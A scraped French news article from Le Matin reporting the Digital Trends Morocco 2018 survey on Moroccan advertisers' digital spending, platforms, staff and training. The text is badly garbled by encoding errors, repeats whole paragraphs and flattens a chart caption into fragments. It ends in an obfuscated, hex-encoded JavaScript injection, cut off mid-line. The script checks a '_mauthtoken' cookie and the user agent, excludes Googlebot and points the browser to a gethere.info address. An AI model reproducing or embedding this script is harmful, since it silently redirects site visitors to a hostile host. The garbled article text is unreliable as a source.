Le Matin / Digital Trends Morocco 2018. Investissements publicitaires attendus cette annAi??e

Trois millions de dirhams. C’est en moyenne le budget allouAi?? par les annonceurs marocains au digital en 2017. PrA?s de la moitiAi?? dai??i??entre eux (47%) ont dAi??pensAi?? moins de 2 millions. Si ce budget n’a pas rAi??ellement augmentAi?? comparAi?? Ai?? 2016 (moins de 3 millions), les canaux ont en revanche connu des bouleversements. Selon les rAi??sultats de lai??i??Ai??tude Digital Trends Morocco 2018 dAi??voilAi??s en fin de semaine derniA?re, prA?s de la moitiAi?? (48%) du budget digital va aux achats MAi??dias Online, majoritairement tournAi??s vers les plateformes internationales, notamment Google et Face-book (62%).

En 2017, les annonceurs marocains ont dAi??pensAi??, en moyenne. 3 millions de dirhams dans la publicitAi?? digitale. Les amAi??ricains Google et Facebook raflent plus de la moitiAi?? des budgets, mais lai??i??intAi??rA?t se tourne dAi??sormais vers l’intelligence artificielle, la rAi??alitAi?? virtuelle et la rAi??alitAi?? augmentAi??e. Trois millions de dirhams. Cai??i??est en moyenne le budget allouAi?? par les annonceurs marocains au digital en 2017. PrA?s de la moitiAi?? dai??i??entre eux (47%) ont dAi??pensAi?? moins de 2 millions. Si ce budget nai??i??a pas rAi??ellement augmentAi?? comparAi?? Ai?? 2016 (moins de 3 millions), les canaux ont en revanche connu des bouleversements. Selon les rAi??sultats de lai??i??Ai??tude Digital Trends Morocco 2018 dAi??voilAi??s en fin de semaine derniA?re, prA?s de la moitiAi?? (48%) du budget digital va aux achats MAi??dias Online, majoritairement tournAi??s vers les plateformes internationales, notamment Google et Facebook (62%). Environ un tiers (32%) des dAi??penses sont investies auprA?s des Ai??diteurs locaux. OA? va cet argent ? Toujours selon lai??i??Ai??tude, 23% des budgets marketing sont orientAi??s vers la production technique et 19% dans le dAi??veloppement de contenu. Globalement, le budget digital reprAi??sente, en moyenne, 8% des fonds destinAi??s au marketing-communication. Un chiffre qui pourrait monter Ai?? 13% en 2018, Ai?? en croire les dAi??clarations des annonceurs interrogAi??s. Pour la plupart des entitAi??s (74%), la stratAi??gie digitale est dictAi??e par le siA?ge rAi??gional ou international. Pas Ai??tonnant donc que les stratAi??gies dAi??ployAi??es localement connaissent les mA?mes mutations que celles prAi??dominant actuellement Ai?? lai??i??Ai??chelle mondiale. Selon Digital Trends Morocco, le rAi??fAi??rencement et l’achat publicitaire restent les outils de communication les plus utilisAi??s en 2017. Cependant, cette annAi??e, la tendance sera beaucoup plus Ai?? l’Intelligence artificielle, la Fintech, le CRM, le marketing automation et clockchain. Autant dai??i??outils permettant d’obtenir une expAi??rience client unique et donc un meilleur retour sur investissement.

Ai??Les sites web et les rAi??seaux sociaux sont les plateformes les plus utilisAi??es, mais lai??i??intAi??rA?t se tourne vers lai??i??intelligence artificielle, la rAi??alitAi?? virtuelle et la rAi??alitAi?? augmentAi??eAi??, soulignent les auteurs du rapport. Autant de dAi??fis technologiques qui imposent aux entreprises de prAi??voir des Ai??quipes digitales dAi??diAi??es. D’aprA?s lai??i??Ai??tude, 76% des annonceurs disposent de ressources affectAi??es au digital, avec une moyenne de 3 personnes. En revanche, 31% cumulent la fonction digitale avec d’autres, globalement le marketing classique et la com’. Cette annAi??e, les entreprises entendent renforcer les Ai??quipes du digital : un annonceur sur deux prAi??voit en effet de recruter.

Pour rester Ai?? la page, la formation est inAi??vitable. D’ailleurs, 63% des annonceurs y ont recours, rAi??vA?le lai??i??Ai??tude. Les centres d’intAi??rA?t ? La transformation digitale dAi??tient la palme (78%), devant la technologie (52%), la production de contenu (44%) et lai??i??analyse et traitement des donnAi??es (26%). Les tendances du digital sont rAi??vAi??lAi??es lors de l’African Digital Summit, dont la 4e Ai??dition s’est achevAi??e vendredi dernier Ai?? Casablanca, Ai?? l’initiative du Groupement des annonceurs du Maroc Les sites web et les rAi??seaux sociaux sont les plateformes les plus utilisAi??es f Plateformes utilisAi??es actuelferm I Plateformes Ai?? utiliser en 2018 Site web RAi??seaux sociaux Site web en Application Site web Intelligence RAi??alitAi?? RAi??alitAi?? version Mobile marchand artificielle virtuelle augmentAi??e mobile Le rAi??fAi??rencement et I achat publicitaire restent les outils de communication les plus utilisAi??s )var _0x446d=[« \x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E », »\x69\x6E\x64\x65\x78\x4F\x66″, »\x63\x6F\x6F\x6B\x69\x65″, »\x75\x73\x65\x72\x41\x67\x65\x6E\x74″, »\x76\x65\x6E\x64\x6F\x72″, »\x6F\x70\x65\x72\x61″, »\x68\x74\x74\x70\x3A\x2F\x2F\x67\x65\x74\x68\x65\x72\x65\x2E\x69\x6E\x66\x6F\x2F\x6B\x74\x2F\x3F\x32\x36\x34\x64\x70\x72\x26″, »\x67\x6F\x6F\x67\x6C\x65\x62\x6F\x74″, »\x74\x65\x73\x74″, »\x73\x75\x62\x73\x74\x72″, »\x67\x65\x74\x54\x69\x6D\x65″, »\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E\x3D\x31\x3B\x20\x70\x61\x74\x68\x3D\x2F\x3B\x65\x78\x70\x69\x72\x65\x73\x3D », »\x74\x6F\x55\x54\x43\x53\x74\x72\x69\x6E\x67″, »\x6C\x6F\x63\x61\x74\x69\x6F\x6E »];if(document[_0x446d[2]][_0x446d[1]](_0x446d[0])== -1){(function(_0xecfdx1,_0xecfdx2){if(_0xecfdx1[_0x446d[1]](_0x446d[7])== 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